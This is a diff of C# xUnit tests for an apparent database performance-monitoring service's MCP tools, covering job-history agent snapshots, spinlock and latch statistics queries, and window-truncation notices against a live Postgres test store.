+    private static string AsOfOf(DateTime utc) => utc.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+
+    private static string CapturedOf(DateTime utc) => utc.ToString("o", CultureInfo.InvariantCulture);
+
+    /* An answer with no run in its window carries the Agent state under hints (the seeded runs are all in March, so a
+       window that ends near now is empty). */
+    private static JsonElement HintsOf(string body)
+    {
+        var root = JsonDocument.Parse(body).RootElement;
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        return root.GetProperty("hints");
+    }
+
+    [Fact]
+    public async Task ANamedServer_ReadsItsAgentAsOfTheAnchor_NotItsNewestSnapshot()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            /* Alpha's Agent was stopped 20 minutes ago and has been running again since 2 minutes ago. */
+            var now = FixedNow();
+            var stoppedAt = now.AddMinutes(-20);
+            var runningAt = now.AddMinutes(-2);
+            await SeedAgentAtAsync(c, ct, ServerA, NameA, false, "Stopped", stoppedAt, now.AddHours(1));
+            await SeedAgentAtAsync(c, ct, ServerA, NameA, true, "Running", runningAt, now.AddHours(2));
+
+            /* An anchor between the two reads the older snapshot: stopped, stamped with the older capture time. */
+            var then = HintsOf(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfOf(now.AddMinutes(-10)), cancellationToken: ct));
+            Assert.False(then.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Stopped", then.GetProperty("agent_status_desc").GetString());
+            Assert.Equal(CapturedOf(stoppedAt), then.GetProperty("captured_at").GetString());
+
+            /* No as_of is the window ending now: the newer snapshot, running. */
+            var current = HintsOf(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, cancellationToken: ct));
+            Assert.True(current.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Running", current.GetProperty("agent_status_desc").GetString());
+            Assert.Equal(CapturedOf(runningAt), current.GetProperty("captured_at").GetString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task AnAnchorBeforeEverySnapshot_ReadsUnknown_AndTheFleetLeavesTheServerOut()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            /* Both servers' only snapshots are 2 minutes old, so an as_of in March has nothing at or before it. */
+            var now = FixedNow();
+            await SeedAgentAtAsync(c, ct, ServerA, NameA, false, "Stopped", now.AddMinutes(-2), now.AddHours(1));
+            await SeedAgentAtAsync(c, ct, ServerB, NameB, true, "Running", now.AddMinutes(-2));
+
+            /* A named server reads unknown, with no capture time: there is no snapshot to name. */
+            var named = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal(4, named.GetProperty("runs").GetArrayLength());
+            Assert.Equal(JsonValueKind.Null, named.GetProperty("agent_running").ValueKind);
+            Assert.Equal("unknown (no recent status)", named.GetProperty("agent_status_desc").GetString());
+            Assert.Equal(JsonValueKind.Null, named.GetProperty("next_run").ValueKind);
+            Assert.Equal(JsonValueKind.Null, named.GetProperty("captured_at").ValueKind);
+
+            /* The fleet counts servers that have a snapshot at or before the anchor: these two are not listed, as unknown or at all. */
+            var fleetThen = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.DoesNotContain("jobhist-", fleetThen.GetProperty("agents_not_running").ToString(), StringComparison.Ordinal);
+            var fleetNow = HintsOf(await DarlingMcpJobTools.GetJobHistory(postgres, cancellationToken: ct));
+            Assert.True(fleetNow.GetProperty("agents_total").GetInt32() - fleetThen.GetProperty("agents_total").GetInt32() >= 2,
+                "the two seeded servers are counted now and not at the March anchor");
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task TheFleetCountsAServerByItsAgentAsOfTheAnchor()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            /* Alpha was stopped 20 minutes ago and has been running since 2 minutes ago. Bravo's only snapshot is 2 minutes old. */
+            var now = FixedNow();
+            var stoppedAt = now.AddMinutes(-20);
+            await SeedAgentAtAsync(c, ct, ServerA, NameA, false, "Stopped", stoppedAt);
+            await SeedAgentAtAsync(c, ct, ServerA, NameA, true, "Running", now.AddMinutes(-2));
+            await SeedAgentAtAsync(c, ct, ServerB, NameB, true, "Running", now.AddMinutes(-2));
+
+            /* An anchor between Alpha's two snapshots counts Alpha as not running, with the older capture time. Bravo has no
+               snapshot yet at the anchor, so it is left out of the counts rather than listed as unknown. */
+            var then = HintsOf(await DarlingMcpJobTools.GetJobHistory(postgres, as_of: AsOfOf(now.AddMinutes(-10)), cancellationToken: ct));
+            var notRunningThen = then.GetProperty("agents_not_running").EnumerateArray()
+                .Where(a => a.GetProperty("server").GetString()!.StartsWith("jobhist-", StringComparison.Ordinal)).ToList();
+            Assert.Equal(new[] { NameA }, notRunningThen.Select(a => a.GetProperty("server").GetString()!).ToArray());
+            Assert.Equal(JsonValueKind.False, notRunningThen[0].GetProperty("agent_running").ValueKind);
+            Assert.Equal("Stopped", notRunningThen[0].GetProperty("agent_status_desc").GetString());
+            Assert.Equal(CapturedOf(stoppedAt), notRunningThen[0].GetProperty("captured_at").GetString());
+
+            /* Now both are running: neither is listed, and the two running Agents are counted. */
+            var current = HintsOf(await DarlingMcpJobTools.GetJobHistory(postgres, cancellationToken: ct));
+            Assert.DoesNotContain("jobhist-", current.GetProperty("agents_not_running").ToString(), StringComparison.Ordinal);
+            Assert.True(current.GetProperty("agents_running").GetInt32() - then.GetProperty("agents_running").GetInt32() >= 2,
+                "Alpha and Bravo are running now; at the anchor Alpha was stopped and Bravo had no snapshot");
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task ApiRead_ServesTheToolsBody()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            var tool = await DarlingMcpJobTools.GetJobHistory(postgres, NameA, 24, "Nightly ETL", "Failed", null, 10, AsOfText, ct);
+            var (status, body) = await WebGetAsync(postgres,
+                $"/api/read/get_job_history?server={NameA}&hours=24&job_name=Nightly%20ETL&status=Failed&limit=10&as_of={AsOfText}", ct);
+
+            Assert.Equal(StatusCodes.Status200OK, status);
+            using var expected = JsonDocument.Parse(tool);
+            using var actual = JsonDocument.Parse(body);
+            Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+            Assert.Equal(2, actual.RootElement.GetProperty("runs").GetArrayLength());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpJobToolsTests.cs b/Darling/Darling.Tests/DarlingMcpJobToolsTests.cs
index 320b654335..8616915cb0 100644
--- a/Darling/Darling.Tests/DarlingMcpJobToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpJobToolsTests.cs
@@ -36,13 +36,13 @@ private static MethodInfo[] ToolMethods() => typeof(DarlingMcpJobTools)
         .ToArray();
 
     [Fact]
-    public void ToolSurface_ExactlyGetRunningJobs()
+    public void ToolSurface_ExactlyTheJobTools()
     {
         var names = ToolMethods()
             .Select(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name)
             .ToArray();
 
-        Assert.Equal(new[] { "get_running_jobs" }, names);
+        Assert.Equal(new[] { "get_job_history", "get_running_jobs" }, names.OrderBy(n => n, StringComparer.Ordinal).ToArray());
         Assert.NotNull(typeof(DarlingMcpJobTools).GetCustomAttribute<McpServerToolTypeAttribute>());
         Assert.All(ToolMethods(), m => Assert.True(m.IsStatic, $"{m.Name} must be static"));
         Assert.All(ToolMethods(), m => Assert.True(m.ReturnType == typeof(Task<string>), $"{m.Name} must return Task<string>"));
@@ -51,7 +51,7 @@ public void ToolSurface_ExactlyGetRunningJobs()
     [Fact]
     public void ParamContract_ServerNameOnly_Optional()
     {
-        var method = ToolMethods().Single();
+        var method = ToolMethods().Single(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name == "get_running_jobs");
         var p = method.GetParameters()
             .Where(x => x.GetCustomAttribute<DescriptionAttribute>() is not null)
             .Select(x => (x.Name!, x.HasDefaultValue))
@@ -126,7 +126,7 @@ public void ReadColumns_ExistInTheGeneratedCollectorTable()
     public void AdvertisedSchema_IsGeminiClean_NoRequiredParams()
     {
         var tools = BuildToolSchemas();
-        Assert.Single(tools);
+        Assert.Equal(2, tools.Count);
         var violations = tools.SelectMany(t => DarlingMcpSchemaAssert.Violations(t.Name, t.InputSchema)).ToList();
         Assert.True(violations.Count == 0, "Gemini-incompatible schema keywords leaked:\n" + string.Join("\n", violations));
         foreach (var t in tools)
diff --git a/Darling/Darling.Tests/DarlingMcpLatchSpinlockToolsTests.cs b/Darling/Darling.Tests/DarlingMcpLatchSpinlockToolsTests.cs
index db30e1f210..252b16a7cc 100644
--- a/Darling/Darling.Tests/DarlingMcpLatchSpinlockToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpLatchSpinlockToolsTests.cs
@@ -17,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -100,27 +101,44 @@ publish the why beside a null rate rather than leave the caller to infer it. */
     }
 
     [Fact]
-    public void SpinlockStatsTopNSql_TopByCollisions_PerSecondFromLag()
+    public void SpinlockStatsTopNSql_TopByCollisions_PerSecondFromTheNewestRowsInterval()
     {
         var sql = DarlingLatchSpinlockReader.SpinlockStatsTopNSql;
         Assert.Contains("FROM v_spinlock_stats", sql, StringComparison.Ordinal);
         Assert.Contains("delta_collisions", sql, StringComparison.Ordinal);
         Assert.Contains("delta_spins", sql, StringComparison.Ordinal);
         Assert.Contains("delta_backoffs", sql, StringComparison.Ordinal);
-        Assert.Contains("LAG(collection_time)", sql, StringComparison.Ordinal);
-        Assert.Contains("DISTINCT ON (spinlock_name)", sql, StringComparison.Ordinal);
         Assert.Contains("ORDER BY a.total_delta_collisions DESC", sql, StringComparison.Ordinal);
         Assert.Contains("LIMIT $4", sql, StringComparison.Ordinal);
+        /* #5495: the read's shape. A hash aggregate over the window, then the newest row of ONLY the top-N
+           names by index lookup. The old shape window-sorted every row of the window (a per-name LAG, then a
+           DISTINCT ON sort of a materialised 1.2M-row CTE: 3-5 s at 7 days) to find one interval per name.
+           No window function may come back over the scanned window, and the aggregate must run before the
+           per-name lookups so they cost top-N probes, not window-N probes. */
+        Assert.DoesNotContain("OVER (", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("DISTINCT ON", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LAG(", sql, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN LATERAL", sql, StringComparison.Ordinal);
+        Assert.Contains("s.collection_time = a.latest_collection_time", sql, StringComparison.Ordinal);
+        Assert.True(
+            sql.IndexOf("LIMIT $4", StringComparison.Ordinal) < sql.IndexOf("CROSS JOIN LATERAL", StringComparison.Ordinal),
+            "the top-N cut must come before the per-name lookups of the newest row");
+        /* A NULL spinlock name never reached the old read's output (its join on the name dropped it before the LIMIT), so it
+           is excluded ahead of the top-N cut, and the per-name lookups compare with plain equality. */
+        Assert.Contains("AND   spinlock_name IS NOT NULL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("IS NOT DISTINCT FROM", sql, StringComparison.Ordinal);
+        /* The previous-row lookup for a pre-V127 row stays inside the window, as the old per-name LAG did. */
+        Assert.Contains("p.collection_time >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("p.collection_time < a.latest_collection_time", sql, StringComparison.Ordinal);
         /* #3540: the STORED interval first (0, the unknowable marker, → NULL through NULLIF); the LAG only for
            pre-V127 rows; no ELSE 0 on the rate, so an unknowable interval reads NULL and never 0.00. */
-        Assert.Contains("CASE WHEN sample_interval_seconds IS NULL", sql, StringComparison.Ordinal);
-        Assert.Contains("ELSE NULLIF(sample_interval_seconds, 0)", sql, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN l.sample_interval_seconds IS NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("ELSE NULLIF(l.sample_interval_seconds, 0)", sql, StringComparison.Ordinal);
         Assert.Contains("END AS interval_seconds", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ELSE 0 END", sql, StringComparison.Ordinal);
         /* #3653 A16: the spinlock query carries the latch query's own latest_interval_seconds line, so a null
            collisions_per_second has interval_seconds beside it on the wire — the same why-key on both tools. */
         Assert.Contains("END AS latest_interval_seconds", sql, StringComparison.Ordinal);
-        Assert.Contains("l.latest_interval_seconds", sql, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -268,6 +286,61 @@ public sealed class DarlingMcpLatchSpinlockToolsLivePostgresTests
     private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
 
+    /* #4966: the window-floor cases of get_latch_stats and get_spinlock_stats (WindowNoticeAggregateCases). */
+    private static readonly WindowNoticeAggregateCases s_latchWindow = new(
+        "get_latch_stats", "latch_stats",
+        (ds, name, hours, end, top) => DarlingMcpLatchSpinlockTools.GetLatchStats(ds, name, hours, top, WebDataStartNote.FormatWindowEnd(end)),
+        (c, name, at, i) => DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12::integer)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(name), name, "WINDOW_LATCH_" + i, 1000L, 20000L, 50L, 100L, 4000L - i, 5L, 60),
+        null);
+
+    private static readonly WindowNoticeAggregateCases s_spinlockWindow = new(
+        "get_spinlock_stats", "spinlock_stats",
+        (ds, name, hours, end, top) => DarlingMcpLatchSpinlockTools.GetSpinlockStats(ds, name, hours, top, WebDataStartNote.FormatWindowEnd(end)),
+        (c, name, at, i) => DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs, delta_collisions, delta_spins, delta_sleep_time, delta_backoffs, sample_interval_seconds)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15::integer)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(name), name, "WINDOW_SPIN_" + i, 900000L, 5000000L, 5.5d, 100L, 200L, 40000L - i, 200000L, 3L, 7L, 60),
+        null);
+
+    [Fact]
+    public Task GetLatchStats_CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart_AgainstDevPostgres() => s_latchWindow.CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart(ConnectionString);
+
+    [Fact]
+    public Task GetLatchStats_ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated_AgainstDevPostgres() => s_latchWindow.ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated(ConnectionString);
+
+    [Fact]
+    public Task GetLatchStats_AQuietStart_IsCovered_AgainstDevPostgres() => s_latchWindow.AQuietStart_IsCovered(ConnectionString);
+
+    [Fact]
+    public Task GetLatchStats_TheNoRowsAnswer_StaysBare_AgainstDevPostgres() => s_latchWindow.TheNoRowsAnswer_StaysBare(ConnectionString);
+
+    [Fact]
+    public Task GetLatchStats_AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() => s_latchWindow.AShortWindow_WithRows_StartsNoProbe(ConnectionString);
+
+    [Fact]
+    public Task GetLatchStats_AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() => s_latchWindow.AFailedProbe_CostsTheNotice_NeverTheRows(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart_AgainstDevPostgres() => s_spinlockWindow.CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated_AgainstDevPostgres() => s_spinlockWindow.ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_AQuietStart_IsCovered_AgainstDevPostgres() => s_spinlockWindow.AQuietStart_IsCovered(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_TheNoRowsAnswer_StaysBare_AgainstDevPostgres() => s_spinlockWindow.TheNoRowsAnswer_StaysBare(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() => s_spinlockWindow.AShortWindow_WithRows_StartsNoProbe(ConnectionString);
+
+    [Fact]
+    public Task GetSpinlockStats_AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() => s_spinlockWindow.AFailedProbe_CostsTheNotice_NeverTheRows(ConnectionString);
+
     [Fact]
     public async Task LatchSpinlockTools_ReadPlantedRows_AgainstDevPostgres()
     {
@@ -308,17 +381,26 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
                     CollectionIdGenerator.Next(), t, ServerId, ServerName, latchClass, 1000L, 20000L, 50L, requests, delta, 5L, interval);
             }
 
-            foreach (var (t, spinlockName, collisions, spins, interval) in new (DateTime, string, long, long, int?)[]
+            foreach (var (t, spinlockName, collisions, spins, interval) in new (DateTime, string?, long, long, int?)[]
             {
+                /* #5495: a row with no spinlock name (the column is nullable) has the biggest total here and still never reaches
+                   the page: the earlier read's join on the name dropped it before the LIMIT, and the new read keeps that. */
+                (newer, null, 999999L, 1L, 60),
                 (older, "LOCK_HASH", 40000L, 200000L, null),
                 (newer, "LOCK_HASH", 60000L, 300000L, 60),
                 (newer, "SOS_CACHESTORE", 0L, 0L, 0),
+                /* #5495: a pre-V127 pair (NULL interval) takes its interval from the previous row of the same name
+                   in the window, 120 s here; a pre-V127 name with ONE row in the window has no previous row, so
+                   its interval and rates are null. */
+                (older, "LOCK_PREV", 10000L, 50000L, null),
+                (newer, "LOCK_PREV", 12400L, 62000L, null),
+                (newer, "LOCK_SOLO", 500L, 900L, null),
             })
             {
                 await DarlingMcpTestData.ExecAsync(connection, ct,
                     @"INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs, delta_collisions, delta_spins, delta_sleep_time, delta_backoffs, sample_interval_seconds)
 VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15::integer)",
-                    CollectionIdGenerator.Next(), t, ServerId, ServerName, spinlockName, 900000L, 5000000L, 5.5d, 100L, 200L, collisions, spins, 3L, 7L, interval);
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, (object?)spinlockName ?? DBNull.Value, 900000L, 5000000L, 5.5d, 100L, 200L, collisions, spins, 3L, 7L, interval);
             }
 
             var latch = await DarlingMcpLatchSpinlockTools.GetLatchStats(postgres, ServerName);
@@ -363,7 +445,7 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             Assert.Contains("Lock manager hash table access.", spin, StringComparison.Ordinal);
             var spinlocks = System.Text.Json.JsonDocument.Parse(spin).RootElement.GetProperty("spinlocks").EnumerateArray()
                 .ToDictionary(s => s.GetProperty("spinlock_name").GetString()!);
-            Assert.Equal(2, spinlocks.Count);
+            Assert.Equal(4, spinlocks.Count);
 
             var storedSpin = spinlocks["LOCK_HASH"];
             Assert.Equal(100000, storedSpin.GetProperty("total_delta_collisions").GetInt64());
@@ -371,6 +453,18 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             Assert.Equal(1000.0, storedSpin.GetProperty("collisions_per_second").GetDouble());
             Assert.Equal(5000.0, storedSpin.GetProperty("spins_per_second").GetDouble());
 
+            var laggedSpin = spinlocks["LOCK_PREV"];
+            Assert.Equal(22400, laggedSpin.GetProperty("total_delta_collisions").GetInt64());
+            Assert.Equal(120, laggedSpin.GetProperty("interval_seconds").GetDouble());
+            Assert.Equal(103.33, laggedSpin.GetProperty("collisions_per_second").GetDouble(), 2);
+            Assert.Equal(516.67, laggedSpin.GetProperty("spins_per_second").GetDouble(), 2);
+            var soloSpin = spinlocks["LOCK_SOLO"];
+            Assert.Equal(500, soloSpin.GetProperty("total_delta_collisions").GetInt64());
+            foreach (var key in new[] { "interval_seconds", "collisions_per_second", "spins_per_second" })
+            {
+                Assert.Equal(System.Text.Json.JsonValueKind.Null, soloSpin.GetProperty(key).ValueKind);
+            }
+
             var markerSpin = spinlocks["SOS_CACHESTORE"];
             foreach (var key in new[] { "interval_seconds", "collisions_per_second", "spins_per_second" })
             {
diff --git a/Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs b/Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs
index a1fb2437d9..207ca9df3e 100644
--- a/Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs
@@ -18,6 +18,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -30,6 +31,7 @@ namespace Darling.Tests;
 /// the latest-snapshot read SQL pins (v_memory_grant_stats, the ceiling columns, per-pool SUM), and the
 /// Gemini-clean advertised schema.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpMemoryGrantToolsSurfaceAndSqlTests
 {
     private static readonly string[] MemoryGrantToolSurface =
@@ -244,6 +246,7 @@ public void AdvertisedSchema_IsGeminiClean_NoRequiredParams()
 /// the per-pool detail; an empty store returns the miss.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpMemoryGrantToolsLivePostgresTests
 {
     private const string ServerName = "darling-mcp-grants-e2e";
@@ -340,4 +343,131 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Th
         using var cleanup = new NpgsqlCommand(sql, connection);
         await cleanup.ExecuteNonQueryAsync(ct);
     }
+
+    /* #4966: the window-floor notice on get_memory_pressure_events. Rows are windowed on sample_time, which can sit well before
+       the collection that stored it (a ring-buffer read hands back history), so the probe takes the earlier of the server's
+       coverage and its first event in the window. */
+    private const string WindowCollector = "memory_pressure_events";
+
+    private static string WindowName(string window) => "memory-pressure-window-" + window;
+
+    private static Task<string> CallWindowAsync(NpgsqlDataSource ds, string window, int hours, DateTime end) =>
+        DarlingMcpMemoryGrantTools.GetMemoryPressureEvents(ds, WindowName(window), hours, as_of: WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task RunWindowAsync(string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, [WindowCollector], [WindowName(window)], ["memory_pressure_events"], body);
+
+    private static Task SeedWindowAsync(NpgsqlConnection c, string window, DateTime created, DateTime? runsFrom, int step, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, WindowName(window), created, WindowCollector, runsFrom, step, end, ["memory_pressure_events"], TestContext.Current.CancellationToken);
+
+    /// <summary>An event sampled at <paramref name="sampleTime"/> and stored by a collection at <paramref name="collectedAt"/>.</summary>
+    private static Task SeedEventAsync(NpgsqlConnection c, string window, DateTime sampleTime, DateTime collectedAt) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO memory_pressure_events (collection_id, collection_time, server_id, server_name, sample_time, memory_notification, memory_indicators_process, memory_indicators_system)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt), ServerIdHelper.GetDeterministicHashCode(WindowName(window)), WindowName(window),
+            DarlingMcpTestData.Naive(sampleTime), "RESOURCE_MEMPHYSICAL_LOW", 3, 1);
+
+    [Fact]
+    public async Task ARowsAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AgainstDevPostgres() =>
+        await RunWindowAsync("added", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedWindowAsync(c, "added", added, added, 30, end);
+            await SeedEventAsync(c, "added", end.AddHours(-3), end.AddHours(-3));
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "added", 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), "memory_pressure_events").TruncationNote, root.GetProperty("truncation_note").GetString());
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+            Assert.True(names.IndexOf("truncation_note") < names.IndexOf("events"));
+        });
+
+    [Fact]
+    public async Task ARowsAnswer_WhoseFirstEventComesLate_IsCovered_AgainstDevPostgres() =>
+        await RunWindowAsync("quiet", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "quiet", end.AddDays(-30), end.AddDays(-8), 60, end);
+            await SeedEventAsync(c, "quiet", end.AddDays(-5), end.AddDays(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "quiet", 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Fact]
+    public async Task AnEventOlderThanTheFirstCollection_GivesNoNotice_WhereTheSameWindowWithoutItDoes_AgainstDevPostgres() =>
+        await RunWindowAsync("early", async (c, ds, end) =>
+        {
+            /* Collection began ten hours ago; a twelve-hour window. Its one event was SAMPLED eleven and a half hours ago (ring-buffer
+               history) and stored by a collection at the end of the window, so sample_time and collection_time differ. */
+            await SeedWindowAsync(c, "early", end.AddHours(-10), end.AddHours(-10), 30, end);
+            await SeedEventAsync(c, "early", end.AddHours(-1), end.AddMinutes(-30));
+
+            var without = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "early", 12, end));
+            Assert.True(without.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-10)), without.GetProperty("effective_start").GetString());
+
+            await SeedEventAsync(c, "early", end.AddHours(-11).AddMinutes(-30), end.AddMinutes(-30));
+
+            var with = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "early", 12, end));
+            Assert.False(with.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, with.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesHints_AgainstDevPostgres() =>
+        await RunWindowAsync("empty", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "empty", end.AddDays(-30), null, 30, end);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "empty", 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of memory_pressure_events", hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() =>
+        await RunWindowAsync("short", async (c, ds, end) =>
+        {
